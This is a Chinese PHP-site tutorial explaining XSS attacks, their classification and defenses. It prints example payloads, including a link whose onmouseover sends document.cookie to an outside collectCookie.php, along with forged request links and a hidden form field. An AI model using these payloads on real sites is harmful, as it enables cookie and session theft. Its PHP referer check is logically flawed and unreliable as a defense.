网站地图    收藏   

主页 > 后端 > 网站安全 >

PHP安全之XSS攻击 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] (一)概念说明Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或...

(一)概念说明
Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点。
诸如此类,唯一能完全杜绝xss攻击的方法,就是禁用script,img等,显然这是不靠谱的,用户需要丰富的页面内容;当然我们可以用一些方法预防xss攻击,尽量减少xss造成的危害。
 
XSS攻击的危害包括
 
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其它网站发起攻击
举例:
 
<body background=”javascript:alert(‘xss – gotcha!’)”>
<iframe src=javascript:alert(‘xss – gotcha!’)></iframe>
> <body onload=”a();”><script>function a(){alert(‘xss -gotcha!’);}</script><”
 
(二)xss攻击分类
分类方法一
xss攻击分为两类:从其它站点到应用站点的攻击、从应用站点到同站或其它站点的攻击
从其它站点到应用站点的攻击:故名思义,这种攻击是由外部发起的,来自email或其它站点。这种攻击在用户点击链接,下载图片或者提交表单的时候,对应用网站进行了意想之外的操作。
通常用户登录后会得到一个可用session,xss攻击者可以利用这个session,越过用户验证,进行一些不安全的操作,如下:
 
<a href = “http://www.2cto.com /addComment.php?subject = I%20am%20owned” >Check it out!</a>
 
通过这个链接,只要用户登录了,就会发送一个subject,即使在其它网站上。
正因如此,一般的邮箱客户端不会自动从不信任的网站上加载图片(因为考虑到可以通过img的src属性向第三方站点发送GET请求);另外,可以设置session的过期时间,让session自动失效。
 
从应用站点到同站或其它站点的攻击:这种攻击,通常是攻击者在应用站点上通过发表评论,或者其它方式嵌入代码,当用户加载页面或者点击链接就会产生一些意想之外的操作。
如下:
 
<a href=”#” onmouseover = “window.location = ‘http://www.2cto.com /collectCookie.php?cookie = + document cookie.escape();” >Check it out!</a>
 
当用户滑过链接,就会将cookie信息发到攻击者的服务器上。
 
分类方法二
xss的另一种分类方法(个人感觉更清楚),将xss攻击分为三种,
类型A,本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
 
其攻击过程如下:
 
Alice给Bob发送一个恶意构造了Web的URL。
Bob点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。
类型B,反射式漏洞,这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。
 
其攻击过程如下:
 
Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。
Charly发现Bob的站点包含反射性的XSS漏洞。
Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。
Alice在登录到Bob的站点后,浏览Charly提供的URL。
嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。
类型C,存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
 
其攻击过程如下:
 
Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
Charly注意到Bob的站点具有类型C的XXS漏洞。
Charly发布一个热点信息,吸引其它用户纷纷阅读。
Bob或者是任何的其他人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。
类型A直接威胁用户个体,而类型B和类型C所威胁的对象都是企业级Web应用。
 
xss攻击列举
1)html和css标签攻击:通过评论或其它方式,将html或css嵌入到页面中,破坏原来的页面展现,诈骗用户或浏览器产生不安全行为。
2)js攻击:通过评论或其它,将js代码嵌入到页面中,在页面加载或者用户进行正常操作时,产生不安全行为。
3)伪造url:在应用网站上“伪造”链接,当一个认证用户无意中点击这些链接的时候,产生不安全行为,如下
 
<a href=”http://www.2cto.com /oneclick.php?action=buy&item=236″>下载</a>
用户看到的提示是下载,但点击后却进行了购买物品的操作,当然是否成功还是取决于oneclick.php的逻辑了。
4)伪造img的源url:在应用网站上“伪造”,图片或其它元素src值,从而产生不安全行为,这种方式与前面说到的伪造url的区别在于,不需用户点击,浏览器加载页面时就自动执行;类似的情况,table元素的background属性也可以被伪造形成xss攻击。举例如下:
<img src=”http://www.2cto.com /addToCart.php?item=236″/>
 
<table background=”http://www.2cto.com /addToCart.php?item=236″>
<tr><td>Thanks for visiting!</td></tr>
</table>
 
 
5)额外表单信息:当用户提交一个post表单的时候,攻击者增加一些额外的,不可见的信息从而修改用户行为。如下,攻击者通过hidden域给用户的购物车中增加了一个id为236的物品,而用户并不知道。
 
<form action=”http://www.2cto.com /addToCart.php” method=”post”>
<h2>Search</h2>
<input type=”text”name=”query”size=”20″/>
<input type=”hidden”name=”item[]”value=”236″/>
<input type=”submit” value=”Submit” />
</form>
 
6)其它攻击类型,java applet,flash,浏览器插件等。
 
(三)xss攻击的防御
在介绍具体预防策略之前,这里需要强调的是不管从客户端还是服务器端,xss攻击的行为看起来跟正常行为一样,网络传输层的安全策略对其没有作用。
在php session中存储客户ssl的session id可以防御部分xss攻击,目前还没有方法伪造用户私有的ssl session,但是对于来自站内的xss攻击还是很无奈,比如已经验证了身份的用户,被诱骗发送了的一个恶意的请求,这种情况即使使用ssl session还是也无法完全防御。
 
策略列举:
1)对所有非html的输出(尤其是用户输入的内容),进行转码,转成html实体的形式。
2)对所有用户提交的uri进行“消毒”。
如果需要用户提交uri数据,可以使用parse_url()函数,分析用户提交的uri,这里包括多个方面,
 
分析sheme,选择http:,ftp:,排除javascript:等不允许的请求类型
分析query串,检查其合法性
在一定程度预防前面提到的伪造uri攻击,如下
快点击<a href = “http://www.2cto.com /trap.php”  > photos.com </a> [reallybadguys.net] 来看我最新的照片
 
这个攻击是一种伪造uri的xss攻击,给用户描述的是photos.com,而实际点击却到http://www.2cto.com /trap.php,通过分析uri,在链接后面提示[reallybadguys.net],提醒用户,这样能尽量减少用户被骗的概率,以减少这种攻击的产生。
3)使用一个权威的xss过滤器对html的输入进行过滤;考虑到浏览器支持的编码格式有多达5种(包括plaintext,urlencode,HTML hexadecimal entities,HTML decimal entities,base64 encode),手工写一个过滤器处理各种编码形式的比较麻烦,而且也不一定完整,推荐使用tidy(一种php xhtml纠错&过滤的代码库)。
4)为敏感的业务设计私有的api;比如公用域名是site.example,而对于敏感的业务使用子域private.site.example,如下,通过检查reffer与私有域名是否一致,从而起到一定的防御作用。
 
<?php
if ( $_SERVER['HTTP_REFERER'] != $_SERVER['HTTP_HOST'] ) {
exit( ‘That form may not be used outside of its parent site.’ );
}
?>
 
5) 预测用户的行为;在用户进行某个操作的时候,预测用户接下来的行为,比如用户请求一个表单提交页,接下来就很有可能进行提交表单或者取消表单,如果用户此时进行了其它不相关的操作,就需要特别小心了。具体的作法是,对每一个请求,预先生成接下来用户可能进行操作的uri,并存储在session中,于是在同一个用户进行下一个请求时,检查是否在这个uri列表中,如果不匹配,可以加一些逻辑进行进一步的安全验证。
 
(四)xss漏洞检测
http://chxo.com/scripts/safe_html-test.php
http://ha.ckers.org/xss.html (这里有各种xss攻击的示例,不妨试试)
 
参考资料:
《Apress pro.php security 2th》
 
http://www.2cto.com/Article/201201/117831.html

http://www.2cto.com/Article/201201/117831.html

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论